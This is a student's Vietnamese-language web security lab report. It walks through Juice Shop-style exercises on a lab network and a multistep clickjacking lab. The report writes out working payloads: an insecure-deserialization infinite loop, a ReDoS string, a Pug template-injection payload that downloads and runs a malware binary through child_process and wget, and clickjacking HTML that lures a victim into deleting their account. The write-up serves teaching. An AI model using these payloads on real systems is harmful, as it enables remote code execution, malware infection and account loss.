1. Trang chủ
  2. » Giáo Dục - Đào Tạo

An toàn Ứng dụng web và cơ sở dữ liệu báo cáo thực hành buổi 2

23 0 0
Tài liệu đã được kiểm tra trùng lặp

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Tiêu đề Broken Authentication and Session Management
Tác giả Khúc Thị Xuân Quỳnh
Người hướng dẫn Ninh Thị Thu Trang
Trường học Học Viện Công Nghệ Bưu Chính Viễn Thông
Chuyên ngành An Toàn Thông Tin
Thể loại Báo cáo Thực Hành
Năm xuất bản 2024
Thành phố Hà Nội
Định dạng
Số trang 23
Dung lượng 2,43 MB

Nội dung

Nhiệm vụ 4: Cấu hình để sử dụng OWASP ZAP như proxyMục tiêu của nhiệm vụ này là cài đặt OWASP ZAP để hoạt động và cho phép bắt gói tin từ máy tính sinh viên trên trình duyệt web-xss.. Bấ

Trang 1

HỌC VIỆN CÔNG NGHỆ BƯU CHÍNH VIỄN THÔNG

KHOA AN TOÀN THÔNG TIN

-o0o -An toàn ứng dụng Web và Cơ sở dữ liệu BÁO CÁO THỰC HÀNH BUỔI 2

Mã sinh viên : B21DCAT018

HÀ NỘI, 10/2024

Trang 2

MỤC LỤC

Bài thực hành: Broken Authentication and Session Management 1

1 Mục đích 1

2 Yêu cầu đối với sinh viên 1

3 Nội dung thực hành 1

4 Cấu hình mạng 1

5 Các nhiệm vụ 2

Nhiệm vụ 1: Kiểm tra kết nối giữa 2 máy ảo được cung cấp 2

Nhiệm vụ 2: Mở trình duyệt web Firefox 2

Nhiệm vụ 3: Mở và cài đặt OWASP ZAP 3

Nhiệm vụ 4: Cấu hình để sử dụng OWASP ZAP như proxy 5

Nhiệm vụ 5: Truy cập các khu vực bị hạn chế 7

Nhiệm vụ 6: Remote Code Execution – Sử dụng POST và JSON 8

Nhiệm vụ 7: Remote Code Execution – sử dụng XML 12

Nhiệm vụ 8: Thực thi code bất kì 14

Checkwork 16

Labtainer: Multistep clickjacking 17

1 Giới thiệu về clickjacking 17

2 Khai thác multistep clickjacking 17

Kết quả 21

Trang 3

Bài thực hành: Broken Authentication and Session

Management

1 Mục đích

Rèn luyện kỹ năng khai thác lỗ hổng Insecure Deserialization

2 Yêu cầu đối với sinh viên

Nắm được kiến thức về lỗ hổng Insecure Deserialization

3 Nội dung thực hành

Chuẩn bị lab

Khởi động lab: labtainer web-insdes

(Chú ý: sinh viên sử dụng Mã sinh viên của mình để nhập thông tin email người thực hiện bài lab khi có yêu cầu trong terminal, để sử dụng khi chấm điểm.)

Bài lab cung cấp các tài khoản đã được cấu hình sẵn

admin@juice.org admin123 Admin for web login

4 Cấu hình mạng

Máy student workstation (web-insdes) được cấu hình có địa chỉ ip

là 192.168.99.101, còn server (web-insdes-server) có địa chỉ ip là 192.168.99.100

Trang 4

5 Các nhiệm vụ

Nhiệm vụ 1: Kiểm tra kết nối giữa 2 máy ảo được cung cấp

Sử dụng lệnh ping từ máy Student Workstation

ping 192.168.99.100

Nhiệm vụ 2: Mở trình duyệt web Firefox

Ở terminal của máy student gõ lệnh: firefox &

Lệnh này sẽ khởi động firefox, sau đó mở địa chỉ ip của server:

http://192.168.99.100:3000

Trang 5

Nhiệm vụ 3: Mở và cài đặt OWASP ZAP

Ở terminal của máy student chạy lệnh sau: owasp-zap &

Ứng dụng OWASP ZAP được mở và chọn các yêu cầu sau:

- Chọn “yes, I want to persist this session with the name based on the current timestamp” rồi nhấn start

Trang 6

- Nếu bạn được nhắc “Manage Add-on”, chọn close

Trang 7

Nhiệm vụ 4: Cấu hình để sử dụng OWASP ZAP như proxy

Mục tiêu của nhiệm vụ này là cài đặt OWASP ZAP để hoạt động và cho phép bắt gói tin từ máy tính sinh viên trên trình duyệt web-xss Trong phần thiết lập của Firefox, cấu hình theo các bước sau đây:

- Trên Firefox của máy tính sinh viên, mở "Preferences"

- Trong cửa sổ tìm kiếm, gõ "proxy"

- Trong Cài đặt proxy mạng, chọn "Cài đặt"

- Chọn "Cấu hình proxy thủ công"

- Trong phần Proxy HTTP: sử dụng "127.0.0.1" và Cổng "8080"

- Cũng chọn "Sử dụng máy chủ proxy này cho tất cả các giao thức"

- Nhấp vào "ok" để chấp nhận các cài đặt

Cài đặt trên đảm bảo Firefox sử dụng OWASP Zap làm proxy Thực hiện các bước sau để đảm bảo Firefox đang kết nối và sử dụng ZAP như là proxy:

- Làm mới trang web "192.168.99.100:3000"

- Một cảnh báo bảo mật với thông báo "Kết nối của bạn không an toàn" sẽ được hiển thị

- Phải chấp nhận thông báo cảnh báo này Để làm điều đó, nhấp vào

"Advanced"

Trang 8

- Nó sẽ hiển thị chứng chỉ SSL và nên hiển thị "SEC_ERROR_UNKOWN ISSUE" Bấm "Add Exception" để sử dụng chứng chỉ này.

- Một cửa sổ xác nhận sẽ hiện ra, xác nhận ngoại lệ bằng cách nhấp vào

"Confirm Security Exception"

Trang 9

Nhiệm vụ 5: Truy cập các khu vực bị hạn chế

Mục tiêu của nhiệm vụ này là để xem quyền truy cập nào được phép và để xác định liệu bạn có thể truy cập vào một phần bị hạn chế, nếu bạn truy cập được thì sẽ được phép làm bất cứ điều gì Theo OWASP WSTG-ATHZ-01, một trong những việc đầu tiên khi xem một trang web là xem bạn có quyền truy cập vào những URL và thư mục nào Tiến hành khảo sát trang web cơ bản sử dụng trình thu thập dữ liệu trang web là phương pháp ưa thích để thu thập dữ liệu trên trang web

Ví dụ 1: Khảo sát trang web

Phần sau đây sẽ cho phép OWASP Zap thu thập dữ liệu trang web để xác định xem đường dẫn nào có thể truy cập được

- Mở OWASP Zap và thực hiện quét trang web trên địa chỉ IP:

192.168.99.100:3000

- Bạn có thấy bất kỳ liên kết nào đến các trang quản trị không?

 Không thấy liên kết nào tới trang quản trị

Trang 10

- Lưu kết quả quét của bạn từ OWASP Zap, lưu nó vào màn hình nền và đặt

tên cho nó “traversal.html” nếu traversal không phải là một tùy chọn, hãy lưu toàn bộ báo cáo

Nhiệm vụ 6: Remote Code Execution – Sử dụng POST và JSON

Mục tiêu của nhiệm vụ này là buộc máy chủ thực thi mã bằng cách sử dụng POST và JSON Dựa theo OWASP WSTG 4.7.11.2 để kiểm tra các lỗ hổng bao gồm remote file và code inclusion File và Code inclusion cho phép kẻ tấn công chèn file và đoạn code, thường khai thác tính năng “include tệp động” thực hiện trong ứng dụng mục tiêu Lỗ hổng xảy ra do việc sử dụng thông tin đầu vào do người dùng cung cấp mà không được xác thực hợp lệ

Thực hiện các bước bên dưới để thực hiện thực thi mã từ xa

Trang 11

- Sau khi xem xét các URL được tìm thấy trong Nhiệm vụ 4, bạn sẽ tìm thấy

API Swagger theo tài liệu được lưu trữ tại

https://192.168.99.100:3000/api-docs mô tả API B2B.

- API này cho phép POST các đơn hàng trong đó các dòng đơn hàng có thể

được gửi dưới dạng JSON (orderLines) và còn dưới dạng Chuỗi

(orderLinesData)

- Ví dụ đã cho về orderLinesData chỉ ra rằng Chuỗi này có thể được phép

chứa JSON tùy ý: [{" productId" : 12," quantity" : 10000," customerReference" : [" PO0000001.2" , " SM20180105|042" ]," couponCode" : " pes[Bh.u*t" }, ]

- Nhấp vào nút Try và không thay đổi bất cứ điều gì, nhấp vào Thực thi để

xem API có hoạt động hay không và cách thức hoạt động Điều này sẽ khiến

bạn gặp lỗi 401 Unauthorized

Trang 12

- Quay lại ứng dụng, đăng nhập với tư cách người dùng bất kỳ và sao chép

Token của bạn từ Authorization Bearer header sử dụng DevTools của trình duyệt web

- Quay lại https://192.168.99.100:3000/api-docs/#/Order/post_orders nhấp

Trang 13

- Nhấp vào Try và Execute để xem response 200 OK

- Quá trình insecure JSON deserialization sẽ thực thi bất kỳ lệnh gọi hàm nào

được xác định trong chuỗiJSON, vì vậy tải trọng có thể có cho một cuộc tấn

công DoS sẽ là một vòng lặp vô tận Thay code ví dụ với {" orderLinesData" :

"

(function dos() { while(true); })()" } trong trường Request Body Nhấp vào

execute

Trang 14

- Máy chủ sẽ phản hồi với 200 OK sau khoảng 2 giây.

- Nếu yêu cầu của bạn tạo vòng lặp vô hạn thành công, thử thách sẽ được

đánh dấu là giải quyết

Nhiệm vụ 7: Remote Code Execution – sử dụng XML

Mục tiêu của nhiệm vụ này là buộc máy chủ thực thi mã bằng XML

Thực hiện các bước bên dưới để thực hiện thực thi mã từ xa

- Sau khi xem xét các URL được tìm thấy trong Nhiệm vụ 4, bạn sẽ tìm thấy

API Swagger theo tài liệu được lưu trữ tại

https://192.168.99.100:3000/api-docs mô tả API B2B.

- API này cho phép POST các đơn hàng trong đó các dòng đơn hàng có thể

được gửi dưới dạng JSON (orderLines) và còn dưới dạng Chuỗi

(orderLinesData)

- Ví dụ đã cho về orderLinesDate chỉ ra rằng Chuỗi này có thể được phép

chứa JSON tùy ý: [{" productId" : 12," quantity" : 10000," customerReference" : [" PO0000001.2" , " SM20180105|042" ]," couponCode" : " pes[Bh.u*t" }, ]

- Nhấp vào nút Try và không thay đổi bất cứ điều gì, nhấp vào Thực thi để

xem API có hoạt động hay không và cách thức hoạt động Điều này sẽ khiếnbạn gặp lỗi 401 Unauthorized

- Quay lại ứng dụng, đăng nhập với tư cách người dùng bất kỳ và sao chép

Token của bạn từ Authorization Bearer header sử dụng DevTools của trình duyệt web

- Quay lại https://192.168.99.100:3000/api-docs/#/Order/post_orders nhấp

vào Authorize và paste Token vào form Value

- Nhấp vào Try và Execute để xem response 200 OK

Trang 15

công DoS sẽ là một vòng lặp vô tận Thay code ví dụ với {" orderLinesData" : " / ((a+)+)b/.test('aaaaaaaaaaaaaaaaaaaaaaaaaaaaa')" } trong trường Request

Body Nhấp vào execute Việc này sẽ kích hoạt biểu thức chính quy sau khi được thực thi

- Máy chủ cuối cùng sẽ phản hồi với trạng thái 503 Service Unavailable.

Trang 16

Nhiệm vụ 8: Thực thi code bất kì

Mục tiêu của nhiệm vụ này là buộc máy chủ thực thi code tùy ý

Sử dụng các bước được liệt kê bên dưới để thực thi mã tùy ý nhằm lây

nhiễm phần mềm độc hại vào máy chủ

- Xem xét Nhiệm vụ 4.5 sẽ tiết lộ một thư mục con của ftp

tại: https://192.168.99.100:3000/ftp/quarantine

- Mục tiêu của bạn là RCE để làm cho máy chủ tải xuống và thực thi phiên

bản phần mềm độc hại cho hệ điều hành máy chủ, vì vậy trên Linux bạn có thể muốn chạy, hãy gõ lệnh sau:

- wget –O malware https://github.com/J12934/juicymalware/blob/master/ juicy_malware_linux_amd_64?raw=true && chmod +x malware && / malware

- Nhận ra rằng https://192.168.99.100:3000/profile không phải là Angular Có

nghĩa là trang là được viết bằng Pug, đây là một Template engine và do đó hoàn toàn phù hợp với SSTI

- Đặt username của bạn thành 1+1 và nhấp vào Đặt tên người dùng Tên người dùng của bạn sẽ chỉ được hiển thị là 1+1 avatar

Trang 17

- Thử template Injection với Pug, đặt Tên người dùng thành #{1+1} và nhấp

vào Đặt tên người dùng tên người dùng bây giờ sẽ được hiển thị là 2 dưới ảnh hồ sơ!

- Tạo một payload sẽ lạm dụng việc thiếu đóng gói đối tượng global.process

của JavaScript để tải động một thư viện cho phép bạn sinh ra một tiến trình trên máy chủ mà sau đó sẽ tải xuống và thực thi phần mềm độc hại

Payload sẽ giống như sau:

#{global.process.mainModule.require('child_process').exec ('wget -O

malware

Trang 18

https://github.com/J12934/juicymalware/blob/master/juicy_malware_linux _amd_64?raw=true && chmod +x malware && /malware')}

Kết thúc bài lab:

Trên terminal đầu tiên sử dụng câu lênh sau để kết thúc bài lab:

stoplab web-insdes

Checkwork:

Trang 19

Labtainer: Multistep clickjacking

1 Giới thiệu về clickjacking

Clickjacking là một cuộc tấn công dựa trên giao diện trong đó người dùng bịlừa nhấp vào nội dung có thể thực hiện được trên một trang web ẩn bằng cách nhấpvào một số nội dung khác trong một trang web giả mạo

Clickjacking thường lợi dụng việc không kiểm soát được khung nội dung (iframe) trên các trang web và có thể gây ra nhiều rủi ro bảo mật, đặc biệt khi nó liên quan đến các giao dịch tài chính hoặc các thông tin nhạy cảm

2 Khai thác multistep clickjacking

- Khởi động bài lab

- Đăng nhập vào tài khoản với tên đăng nhập và mật khẩu đã được cung cấp:

wiener – peter

Trang 20

- Sau khi đăng nhập, ta nhận thấy ở trang My Account có 1 nút nổi bật lên là

Delete account

- Khi nhấp vào thì sẽ có 1 hộp thoại bổ sung hiển thị

Trang 21

- Chọn Go To Exploit Server để di chuyển đến trang chỉnh sửa

- Ở bài này chúng ta sẽ hướng dẫn người dùng làm theo các chỉ dẫn của chúng

ta để họ thực hiện các bước xóa tài khoản Sửa lại phần body bằng đoạn HTML sau:

top: 310px;

left: 200px;

}

</style>

<div class="firstClick">Click me first</div>

<div class="secondClick">Click me next</div>

<iframe security-academy.net/my-account"></iframe>

Trang 22

src="https://0ad8009d03409111826e6ba300710082.web Đoạn mã HTML trên sẽ tạo ra 1 hướng dẫn để nạn nhân click vào những nút

được yêu cầu

Trang 23

Kết quả:

- Sau khi đã chỉnh sửa chiều cao và độ rộng cho đúng vị trí, ấn Store 

Deliver exploit to victim, lab sẽ chuyển trạng thái Solved nếu thành công

Ngày đăng: 04/11/2024, 12:25

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

w